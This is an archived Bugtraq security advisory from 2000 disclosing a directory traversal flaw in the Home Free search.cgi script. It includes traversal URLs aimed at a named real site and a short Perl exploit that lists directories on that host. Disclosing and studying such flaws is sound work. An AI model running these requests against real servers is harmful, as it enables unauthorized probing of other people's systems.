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Another search.cgi vulnerability




Another search.cgi vulnerability





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   Date: Вт, 04 янв 2000  05:52:23
  От: k0ad k1d <k0adk1d@HOTMAIL.COM>
Кому: BUGTRAQ@SECURITYFOCUS.COM
Тема: Another search.cgi vulnerability
--------------------------------------------------------------------------------


==============================================================================

   #!/bin/csh security advisory
   ----------------------------

          Title  :  Vulnerabilities in the SolutionScripts.com
                    Home Free CGI package.

   Advisory Ref  :  csh-adv:04.01.2000-CGI-HomeFree-01

        Credits  :  fzx, omnihil, the guys in !el8
                    DSKZ, M0D

==============================================================================

Introduction
------------

SolutionScripts.com is a vendor of Perl CGI scripts for all platforms that
support the language (WinNT, Linux, various Unix flavors). Home Free is a
package developed and marketed by SolutionScripts.com, below is an extract
from their website.


    "Home Free is the ultimate community building program. Allowing you
     to give your visitors a free web site on your server. With complete
     control over every aspect of your free web site program, you can
     grow page views, revenue and brand awareness for your site."

     http://solutionscripts.com/vault/homefree/index.shtml


Home Free is used by many popular websites. It allows users to set up and
maintain their websites through a series of CGI scripts without posing a
threat to system security.


Details
-------

Home Free consists of the following files from an end-user point of view :-

    ./features.cgi
    ./new.cgi
    ./search.cgi
    ./signup.cgi
    ./user_files.cgi
    ./user_formmail.cgi
    ./user_ftp_import.cgi
    ./user_gbook.cgi
    ./user_manage.cgi
    ./user_pref.cgi
    ./user_uploads.cgi
    ./user_wwwboard.cgi


There are also various 'admin' CGI scripts in the package, such as :-

    ./admin.cgi
    ./admin_browse.cgi
    ./admin_cata.cgi
    ./admin_email.cgi
    ./admin_features.cgi
    ./admin_setup.cgi
    ./admin_update.cgi



Vulnerabilities Identified
--------------------------

    ./search.cgi

    The search.cgi script uses the following input variables :-

      letter=any string
      cata=any string
      perpage=any string
      start=any string
      boolean=or/and
      advanced


    This CGI script can be exploited to view directory listings on the host
    server. A vulnerability exists because of insufficient bounds checking
    of the 'letter' variable when it is parsed by the search.cgi script,
    for example :-


http://members.antionline.com/cgi-bin/search.cgi?letter=..\..\..\..\winnt

    The above URL will list the \winnt directory of the host. The
search.cgi
    script also seems to read and display the first line of each file
    (network.wri, et al). We have been unable to use the search.cgi script
    or any of the other scripts in the package to view files to date.

    If we had access to the source code of these Perl scripts, I'm sure
that
    many security problems would be identified.

    You can also exploit the vulnerability to view other directory
listings,
    such as the /cgi-bin directory under Apache.


http://members.antionline.com/cgi-bin/search.cgi?letter=..\..\..\..\apache\cgi-
bin


    We also took the time in writing a short Perl script to display the
    directory listings of vulnerable servers :

    --8<-- snip --8<-- snip --8<-- snip --8<-- snip --8<-- snip --8<-- snip

    #!/usr/bin/perl
    #
    # Quick exploit of the Home Free ./search.cgi script, allows you to
list
    # directories on the host.
    #
    # Default server is antionline's, change as appropriate.
    #

    use IO::Socket;

    if ($ARGV[0] eq "") { die "no argument\n"; }

    $asoc = IO::Socket::INET->new(Proto     => "tcp",
                                  PeerAddr  => "members.antionline.com",
                                  PeerPort  => 80) ||
                    die "can't connect to host: $!";

    select($asoc);
    $| = 1;

    print $asoc "GET
/cgi-bin/search.cgi?letter=..\\..\\..\\..\\$ARGV[0]&start=1&perpage=all
HTTP/1.0\n\n";

    while(<$asoc>) {
            if ($_ =~ /.+HREF.+TD.+/) {
                    @parts = split("\"", $_);
                    $foo = $parts[1];
                    @parts = split("/", $foo);
                    print STDOUT $parts[3];
                    print STDOUT "\n";
            }
    }
    close(ASOC);

    --8<-- snip --8<-- snip --8<-- snip --8<-- snip --8<-- snip --8<-- snip



 Other smaller problems were identified when testing the bounds checking
and
 flexibility of the other scripts, such as user_manage.cgi. Without access
to
 the source code of the Perl scripts in question, it is very difficult to
 know the security implications of such problems. We'll leave that up to
 the vendor to look into and patch.


==============================================================================

   #!/bin/csh security advisory
   ----------------------------

          Title  :  Vulnerabilities in the SolutionScripts.com
                    Home Free CGI package.

   Advisory Ref  :  csh-adv:01.04.2000-CGI-HomeFree-01

        Credits  :  fzx, omnihil, the guys in !el8
                    DSKZ, M0D

==============================================================================

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